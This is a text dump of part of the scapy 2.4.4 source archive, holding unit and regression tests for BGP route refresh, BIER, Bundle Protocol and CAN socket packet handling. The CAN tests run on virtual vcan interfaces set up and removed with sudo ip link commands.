(2) - With ORFs m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00.\x05\x00\x01\x00\x01\x01\x80\x00\x13 \x00\x00\x00\x05\x18\x18\x15\x01\x01\x00\x00\x00\x00\x00\n\x00 \x00') assert(m.type == BGP.ROUTEREFRESH_TYPE) assert(m.len == 46) assert(m.afi == 1) assert(m.subtype == 0) assert(m.safi == 1) assert(m.orf_data[0].when_to_refresh == 1) assert(m.orf_data[0].orf_type == 128) assert(m.orf_data[0].orf_len == 19) assert(len(m.orf_data[0].entries) == 2) assert(m.orf_data[0].entries[0].action == 0) assert(m.orf_data[0].entries[0].match == 1) assert(m.orf_data[0].entries[0].prefix.prefix == "1.1.0.0/21") assert(m.orf_data[0].entries[1].action == 0) assert(m.orf_data[0].entries[1].match == 0) assert(m.orf_data[0].entries[1].prefix.prefix == "0.0.0.0/0") ########## BGPCapGeneric fuzz() ################################### + BGPCapGeneric fuzz() = BGPCapGeneric fuzz() for i in range(10): assert isinstance(raw(fuzz(BGPCapGeneric())), bytes) scapy-2.4.4/test/contrib/bier.uts000066400000000000000000000007271372370053500167500ustar00rootroot00000000000000# BIER unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('bier')" -P "load_contrib('mpls')" -t test/contrib/bier.uts + BIER tests = BIER - build/dissection from scapy.contrib.mpls import MPLS p1 = MPLS()/BIER(length=BIERLength.BIER_LEN_256)/IP()/UDP() assert(p1[MPLS].s == 1) p2 = BIFT()/BIER(length=BIERLength.BIER_LEN_64)/IP()/UDP() assert(p2[BIFT].s == 1) p1[MPLS] p1[BIER] p1[IP] p2[BIFT] p2[BIER] p2[IP] scapy-2.4.4/test/contrib/bp.uts000066400000000000000000000014701372370053500164240ustar00rootroot00000000000000% Bundle Protocol tests ############ ############ + Bundle Protocol (BP) basic tests #TODO: no pcap have been found on Internet. Check that scapy correctly decode those too = Build packets & dissect from scapy.contrib.ltp import LTPex pkt = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IP(src="192.168.0.1", dst="192.168.0.2")/UDP()/LTP(flags=7,\ SessionOriginator=2, SessionNumber=113, HeaderExtensions=[ LTPex(ExTag=1, ExData=b"\x00"), ], DATA_ClientServiceID=1, DATA_PayloadOffset=0, LTP_Payload=[ BP(ProcFlags=415)/\ BPBLOCK(ProcFlags=10, load="data") ]) pkt = Ether(raw(pkt)) assert LTP in pkt bp = pkt[LTP].LTP_Payload[0] assert BP in bp assert BPBLOCK in bp assert bp.load == b"data" bp.mysummary() scapy-2.4.4/test/contrib/cansocket.uts000066400000000000000000000274141372370053500200030ustar00rootroot00000000000000% Regression tests for compatibility between NativeCANSocket and PythonCANSocket ~ python3_only not_pypy vcan_socket needs_root linux # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets ~ conf = Load module load_layer("can", globals_dict=globals()) from scapy.contrib.cansocket_python_can import PythonCANSocket from scapy.contrib.cansocket_native import NativeCANSocket conf.contribs['CAN'] = {'swap-bytes': False} = Setup string for vcan bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os import os import threading from subprocess import call = Setup vcan0 assert 0 == os.system(bashCommand) = Define common used functions send_done = threading.Event() def sender(sock, msg): if not hasattr(msg, "__iter__"): msg = [msg] for m in msg: sock.send(m) send_done.set() + Basic Socket Tests = NativeCANSocket send recv small packet sock1 = NativeCANSocket(bustype='socketcan', channel='vcan0') sock2 = NativeCANSocket(bustype='socketcan', channel='vcan0') thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=1,data=b'\x01'), )) thread.start() send_done.wait(timeout=1) rx = sock1.recv() sock1.close() sock2.close() thread.join(timeout=5) assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = NativeCANSocket send recv small packet test with with NativeCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=1,data=b'\x01'),)) thread.start() send_done.wait(timeout=1) rx = sock1.recv() thread.join(timeout=5) assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = PythonCANSocket send recv small packet sock1 = PythonCANSocket(bustype='socketcan', channel='vcan0') sock2 = PythonCANSocket(bustype='socketcan', channel='vcan0') thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=1,data=b'\x01'), )) thread.start() send_done.wait(timeout=1) rx = sock1.recv() sock1.close() sock2.close() thread.join(timeout=5) assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = PythonCANSocket send recv small packet test with with PythonCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=1,data=b'\x01'),)) thread.start() send_done.wait(timeout=1) rx = sock1.recv() thread.join(timeout=5) assert rx == CAN(identifier=0x7ff,length=1,data=b'\x01') = NativeCANSocket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with NativeCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: time.sleep(0) thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'),)) rx = sock1.sniff(count=1, timeout=1, started_callback=thread.start) assert len(rx) == 1 assert rx[0] == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread.join(timeout=5) conf.contribs['CAN']['swap-bytes'] = False = PythonCANSocket send recv swapped conf.contribs['CAN']['swap-bytes'] = True with PythonCANSocket(bustype='socketcan', channel='vcan0') as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'),)) rx = sock1.sniff(count=1, timeout=1, started_callback=thread.start) assert rx[0] == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread.join(timeout=5) conf.contribs['CAN']['swap-bytes'] = False = NativeCANSocket sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with NativeCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) packets = sock1.sniff(timeout=0.1, started_callback=thread.start) assert len(packets) == 3 thread.join(timeout=5) = PythonCANSocket sniff with filtermask 0x7ff msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with PythonCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) packets = sock1.sniff(timeout=0.1, started_callback=thread.start) assert len(packets) == 3 thread.join(timeout=5) = NativeCANSocket sniff with multiple filters msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with NativeCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \ NativeCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) packets = sock1.sniff(timeout=0.1, started_callback=thread.start) assert len(packets) == 4 thread.join(timeout=5) = PythonCANSocket sniff with multiple filters msgs = [CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08'), CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')] with PythonCANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) as sock1, \ PythonCANSocket(bustype='socketcan', channel='vcan0') as sock2: thread = threading.Thread(target=sender, args=(sock2, msgs,)) packets = sock1.sniff(timeout=0.1, started_callback=thread.start) assert len(packets) == 4 thread.join(timeout=5) + bridge and sniff tests = Setup vcan1 interface bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" assert 0 == os.system(bashCommand) = NativeCANSocket bridge and sniff setup vcan1 package forwarding sock0 = NativeCANSocket(bustype='socketcan', channel='vcan0') sock1 = NativeCANSocket(bustype='socketcan', channel='vcan1') def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = NativeCANSocket( bustype='socketcan', channel='vcan0', bitrate=250000) bSock1 = NativeCANSocket( bustype='socketcan', channel='vcan1', bitrate=250000) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait() packetsVCan1 = sock1.sniff(timeout=0.5, started_callback=threadSender.start) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join() threadSender.join() = PythonCANSocket bridge and sniff setup vcan1 package forwarding sock0 = PythonCANSocket(bustype='socketcan', channel='vcan0') sock1 = PythonCANSocket(bustype='socketcan', channel='vcan1') def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = PythonCANSocket( bustype='socketcan', channel='vcan0', bitrate=250000) bSock1 = PythonCANSocket( bustype='socketcan', channel='vcan1', bitrate=250000) def pnr(pkt): return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait() packetsVCan1 = sock1.sniff(timeout=0.5, started_callback=threadSender.start) assert len(packetsVCan1) == 6 sock1.close() sock0.close() threadBridge.join() threadSender.join() + Cleanup = Delete vcan interfaces if 0 != call(["sudo", "ip" ,"link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip" ,"link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") scapy-2.4.4/test/contrib/cansocket_native.uts000066400000000000000000000640241372370053500213470ustar00rootroot00000000000000% Regression tests for nativecansocket ~ python3_only not_pypy vcan_socket needs_root linux # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Configuration of CAN virtual sockets ~ conf = Load module load_layer("can", globals_dict=globals()) conf.contribs['CANSocket'] = {'use-python-can': False} from scapy.contrib.cansocket_native import * conf.contribs['CAN'] = {'swap-bytes': False} = Setup string for vcan bashCommand = "/bin/bash -c 'sudo modprobe vcan; sudo ip link add name vcan0 type vcan; sudo ip link set dev vcan0 up'" = Load os import os import threading from time import sleep from subprocess import call = Setup vcan0 0 == os.system(bashCommand) + Basic Packet Tests() = CAN Packet init canframe = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') bytes(canframe) == b'\x00\x00\x07\xff\x08\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08' + Basic Socket Tests() = CAN Socket Init sock1 = CANSocket(channel="vcan0") = CAN Socket send recv small packet def sender(): sleep(0.1) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=1,data=b'\x01')) sock2.close() thread = threading.Thread(target=sender) thread.start() rx = sock1.recv() rx == CAN(identifier=0x7ff,length=1,data=b'\x01') thread.join(timeout=5) = CAN Socket send recv def sender(): sleep(0.1) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) thread.start() rx = sock1.recv() rx == CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') thread.join(timeout=5) = CAN Socket basecls test def sender(): sleep(0.1) sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() sock1.basecls = Raw thread = threading.Thread(target=sender) thread.start() rx = sock1.recv() rx == Raw(bytes(CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08'))) sock1.basecls = CAN thread.join(timeout=5) + Advanced Socket Tests() = CAN Socket sr1 tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = CAN Socket sr1 init time tx.sent_time == None def sender(): sleep(0.1) sock2 = CANSocket(channel="vcan0") sock2.send(tx) sock2.close() thread = threading.Thread(target=sender) thread.start() rx = None rx = sock1.sr1(tx, verbose=False) rx == tx sock1.close() thread.join(timeout=5) = CAN Socket sr1 time check assert tx.sent_time < rx.time and rx.time > 0 = sr can tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') = sr can check init time assert tx.sent_time == None def sender(): sleep(0.1) sock2 = CANSocket(channel="vcan0") sock2.send(tx) sock2.close() sock1 = CANSocket(channel="vcan0") thread = threading.Thread(target=sender) thread.start() rx = None rx = sock1.sr(tx, timeout=1, verbose=False) rx = rx[0][0][1] assert tx == rx thread.join(timeout=5) = srcan check init time basecls def sender(): sleep(0.1) sock2 = CANSocket(channel="vcan0") sock2.send(tx) sock2.close() sock1 = CANSocket(channel="vcan0", basecls=Raw) thread = threading.Thread(target=sender) thread.start() rx = None rx = sock1.sr(tx, timeout=1, verbose=False) rx = rx[0][0][1] assert Raw(bytes(tx)) == rx thread.join(timeout=5) = sr can check rx and tx assert tx.sent_time > 0 and rx.time > 0 and tx.sent_time < rx.time = sniff with filtermask 0x7ff sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}]) def sender(): sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 3 sock1.close() thread.join(timeout=5) = sniff with filtermask 0x700 sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x700}]) def sender(): sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x212, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x2ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x2aa, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 4 sock1.close() thread.join(timeout=5) = sniff with filtermask 0x0ff sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x0ff}]) def sender(): sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x301, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x1ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 4 sock1.close() thread.join(timeout=5) = sniff with multiple filters sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200, 'can_mask': 0x7ff}, {'can_id': 0x400, 'can_mask': 0x7ff}, {'can_id': 0x600, 'can_mask': 0x7ff}, {'can_id': 0x7ff, 'can_mask': 0x7ff}]) def sender(): sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x400, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x500, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x600, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x700, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x7ff, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 4 sock1.close() thread.join(timeout=5) = sniff with filtermask 0x7ff and inverse filter sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x200 | CAN_INV_FILTER, 'can_mask': 0x7ff}]) def sender(): sock2 = CANSocket(channel="vcan0") sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x300, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x100, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(identifier=0x200, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 2 sock1.close() thread.join(timeout=5) = sniff with filtermask 0x1FFFFFFF sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10000000, 'can_mask': 0x1fffffff}]) def sender(): sock2 = CANSocket(channel="vcan0") sock2.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock2.close() thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 2 sock1.close() thread.join(timeout=5) = sniff with filtermask 0x1FFFFFFF and inverse filter sock1 = CANSocket(channel='vcan0', can_filters=[{'can_id': 0x10000000 | CAN_INV_FILTER, 'can_mask': 0x1fffffff}]) if six.PY3: thread = threading.Thread(target=sender) packets = sock1.sniff(timeout=0.2, started_callback=thread.start, verbose=False) len(packets) == 4 sock1.close() = CAN Socket sr1 with receive own messages sock1 = CANSocket(channel="vcan0", receive_own_messages=True) tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') rx = None rx = sock1.sr1(tx, verbose=False) tx == rx tx.sent_time < rx.time and tx == rx and rx.time > 0 sock1.close() = sr can sock1 = CANSocket(channel="vcan0", receive_own_messages=True) tx = CAN(identifier=0x7ff,length=8,data=b'\x01\x02\x03\x04\x05\x06\x07\x08') rx = None rx = sock1.sr(tx, timeout=1, verbose=False) tx == rx[0][0][1] + bridge and sniff tests = bridge and sniff setup vcan1 package forwarding bashCommand = "/bin/bash -c 'sudo ip link add name vcan1 type vcan; sudo ip link set dev vcan1 up'" 0 == os.system(bashCommand) sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel='vcan1') def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait(timeout=5) packetsVCan1 = sock1.sniff(timeout=0.2, started_callback=threadSender.start, verbose=False) len(packetsVCan1) == 6 threadSender.join(timeout=5) threadBridge.join(timeout=5) sock1.close() sock0.close() = bridge and sniff setup vcan0 package forwarding sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') def senderVCan1(): sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel='vcan1') def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderVCan1) bridgeStarted.wait(timeout=5) packetsVCan0 = sock0.sniff(timeout=0.2, started_callback=threadSender.start, verbose=False) len(packetsVCan0) == 4 sock0.close() sock1.close() threadSender.join(timeout=5) threadBridge.join(timeout=5) =bridge and sniff setup vcan0 vcan1 package forwarding both directions sock0 = CANSocket(channel='vcan0') sock1 = CANSocket(channel='vcan1') def senderBothVCans(): sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x25, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x20, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x30, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x80, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x40, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridge(): global bridgeStarted bSock0 = CANSocket(channel="vcan0") bSock1 = CANSocket(channel='vcan1') def pnr(pkt): return pkt bridgeStarted.set() bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.2, verbose=False) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridge) threadBridge.start() threadSender = threading.Thread(target=senderBothVCans) bridgeStarted.wait(timeout=5) packetsVCan0 = sock0.sniff(timeout=0.1, count=6, started_callback=threadSender.start, verbose=False) packetsVCan1 = sock1.sniff(timeout=0.1, verbose=False) len(packetsVCan0) == 4 